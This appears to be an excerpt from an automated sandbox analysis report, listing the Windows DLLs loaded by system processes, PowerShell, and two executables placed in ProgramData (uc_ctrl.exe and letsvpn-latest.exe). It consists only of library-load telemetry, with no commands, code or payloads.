            Source: C:\Windows\System32\netsh.exeSection loaded: netshell.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: nlaapi.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: netsetupapi.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: netiohlp.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: dhcpcsvc.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: winnsi.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: nettrace.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: nshhttp.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: httpapi.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: nshipsec.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: activeds.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: polstore.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: winipsec.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: adsldpc.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: adsldpc.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: nshwfp.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: cabinet.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: p2pnetsh.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: p2p.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: rpcnsh.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: wcnnetsh.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: wlanapi.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: whhelper.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: wlancfg.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: wshelper.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: wevtapi.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: wwancfg.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: wwapi.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: wcmapi.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: rmclient.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: mobilenetworking.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: peerdistsh.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: slc.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: gpapi.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: ktmw32.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: mprmsg.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\System32\netsh.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: qmgr.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: bitsperf.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: firewallapi.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: esent.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: fwbase.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: flightsettings.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: netprofm.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: bitsigd.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: upnp.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: ssdpapi.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: appxdeploymentclient.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: wsmauto.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: miutils.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: wsmsvc.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: dsrole.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: pcwum.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: mi.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: gpapi.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: wkscli.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: msv1_0.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: ntlmshared.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: cryptdll.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: webio.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: winnsi.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: rmclient.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: usermgrcli.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: execmodelclient.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: coremessaging.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: twinapi.appcore.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: onecorecommonproxystub.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: execmodelproxy.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: resourcepolicyclient.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: vssapi.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: vsstrace.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: samcli.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: samlib.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: es.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: bitsproxy.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc6.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: schannel.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: mskeyprotect.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: ntasn1.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: ncrypt.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: ncryptsslp.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: dpapi.dllJump to behavior
            Source: C:\Windows\System32\svchost.exeSection loaded: mpr.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: acgenral.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: mpr.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: mfc42u.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: mmcbase.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: duser.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: ninput.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: dui70.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: mmcndmgr.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: textshaping.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: oleacc.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: mlang.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: dataexchange.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: d3d11.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: dcomp.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: dxgi.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: twinapi.appcore.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: xmllite.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: atlthunk.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: edputil.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: sxs.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: windows.staterepositoryps.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: appresolver.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: bcp47langs.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: slc.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: onecorecommonproxystub.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: pcacli.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: sfc_os.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: msvcp140.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: uc_guilib.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: vcruntime140.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: msimg32.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: oleacc.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: winmm.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: wininet.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: wldp.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: propsys.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: ntmarta.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: napinsp.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: pnrpnsp.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: wshbth.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: nlaapi.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: winrnr.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: devenum.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: devobj.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: msdmo.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: avicap32.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: msvfw32.dllJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: acgenral.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: mpr.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: mfc42u.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: mmcbase.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: duser.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: ninput.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: dui70.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: mmcndmgr.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: textshaping.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: oleacc.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: mlang.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: dataexchange.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: d3d11.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: dcomp.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: dxgi.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: twinapi.appcore.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: xmllite.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: atlthunk.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: edputil.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: sxs.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: windows.staterepositoryps.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: appresolver.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: bcp47langs.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: slc.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: onecorecommonproxystub.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: pcacli.dllJump to behavior
            Source: C:\Windows\System32\mmc.exeSection loaded: sfc_os.dllJump to behavior
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: uxtheme.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: userenv.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: apphelp.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: propsys.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: dwmapi.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: cryptbase.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: oleacc.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: version.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: shfolder.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: kernel.appcore.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: windows.storage.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: wldp.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: profapi.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: riched20.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: usp10.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: msls31.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: textinputframework.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: coreuicomponents.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: coremessaging.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: ntmarta.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: wintypes.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: wintypes.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: wintypes.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: textshaping.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: linkinfo.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: ntshrui.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: sspicli.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: srvcli.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: cscapi.dll
            Source: C:\ProgramData\letsvpn-latest.exeSection loaded: netutils.dll
            Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: iphlpapi.dll
            Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dhcpcsvc.dll
            Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dhcpcsvc6.dll
            Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dnsapi.dll
            Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: winnsi.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
